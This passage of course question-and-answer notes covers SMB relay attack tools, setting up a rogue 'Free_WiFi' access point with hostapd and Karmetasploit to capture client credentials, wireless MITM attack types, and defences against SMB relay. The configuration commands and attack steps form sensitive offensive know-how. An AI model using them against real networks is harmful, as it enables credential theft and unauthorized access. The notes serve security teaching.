5. Write down the tools required for conducting SMB Relay Attacks. Ans:- Responder: A tool for poisoning LLMNR, NBT-NS, and MDNS requests and relaying SMB credentials. Impacket: A collection of Python classes for working with network protocols, including smbrelayx. Metasploit: Framework for exploitation, including modules for SMB relay attacks. NTLMRelayX: A tool in the Impacket suite specifically designed for SMB relay attacks. 6. Elaborate the process of setting up of Karmetasploit. Give steps to configure the Rogue AP also. Ans:- Install Dependencies: bash Copy code sudo apt-get install hostapd dnsmasq b. Configure the Rogue AP: Create a hostapd.conf file with SSID settings: bash Copy code interface=wlan0 ssid=Free_WiFi hw_mode=g channel=6 Start the AP using hostapd: bash Copy code hostapd /path/to/hostapd.conf c. Setup Karmetasploit: Load the Karmetasploit module in Metasploit: bash Copy code msfconsole use auxiliary/server/karmetasploit d. Capture Credentials: Configure Metasploit to capture network traffic and credentials from connected clients. 7. Describe the types of Wireless MITM Attacks. Ans:- Evil Twin Attack: A fake Wi-Fi AP mimicking a legitimate one to intercept user data. Deauthentication Attack: Forcing users off a legitimate AP, making them reconnect to a malicious AP. ARP Spoofing: Manipulating ARP tables to intercept traffic on a local network. Wi-Fi Pineapple Attack: Using a device like Wi-Fi Pineapple to conduct various MITM attacks automatically. 8. How to Configure Karmetasploit? Ans:- Launch Metasploit and load Karmetasploit: bash Copy code msfconsole use auxiliary/server/karmetasploit Set up the AP details: bash Copy code set SSID "Free_WiFi" set INTERFACE wlan0 Start the server and monitor for clients connecting. 9. Explain SMB relay attacks. Ans:- Description: An SMB relay attack involves intercepting and relaying SMB authentication requests between a victim and a server. The attacker forwards authentication requests, allowing unauthorized access to the server. Steps: 1. Capture NTLM hashes using tools like Responder. 2. Relay the captured credentials to authenticate against another server. 3. Gain unauthorized access and execute commands. 10. What are the defense mechanisms that can be adopted to prevent SMB relay attacks? Ans:- Disable SMB v1: Use SMB v2 or v3 to avoid vulnerabilities. Enable SMB Signing: Ensures integrity of SMB communication, preventing tampering. Enforce NTLMv2: Require the use of NTLMv2 for enhanced security. Restrict Administrative Access: Limit SMB access to trusted users and devices only. 11. Discuss the concept of Wireless Penetration Testing in detail. Ans:- Wireless penetration testing involves assessing the security of Wi-Fi networks to identify vulnerabilities, including: Network Discovery: Scanning for available Wi-Fi networks and identifying open or weak encryption. Authentication Attacks: Cracking weak Wi-Fi passwords using dictionary or brute-force attacks. Rogue AP Detection: Identifying unauthorized access points that could be part of an Evil Twin attack. MITM Attacks: Intercepting and analyzing network traffic to identify data leaks or perform session hijacking. 12. The role of Metasploit Framework in achieving successful Wireless pen-testing results. Ans:- Exploit Modules: Provides ready-to-use modules for exploiting Wi-Fi vulnerabilities, such as Evil Twin attacks and SMB relay exploits. Payload Generation: Easily generate payloads to be delivered via compromised wireless networks. Post-exploitation: Offers tools for privilege escalation, data exfiltration, and persistence on compromised systems. Integration: Works seamlessly with other tools like Aircrack-ng and Responder for comprehensive wireless testing.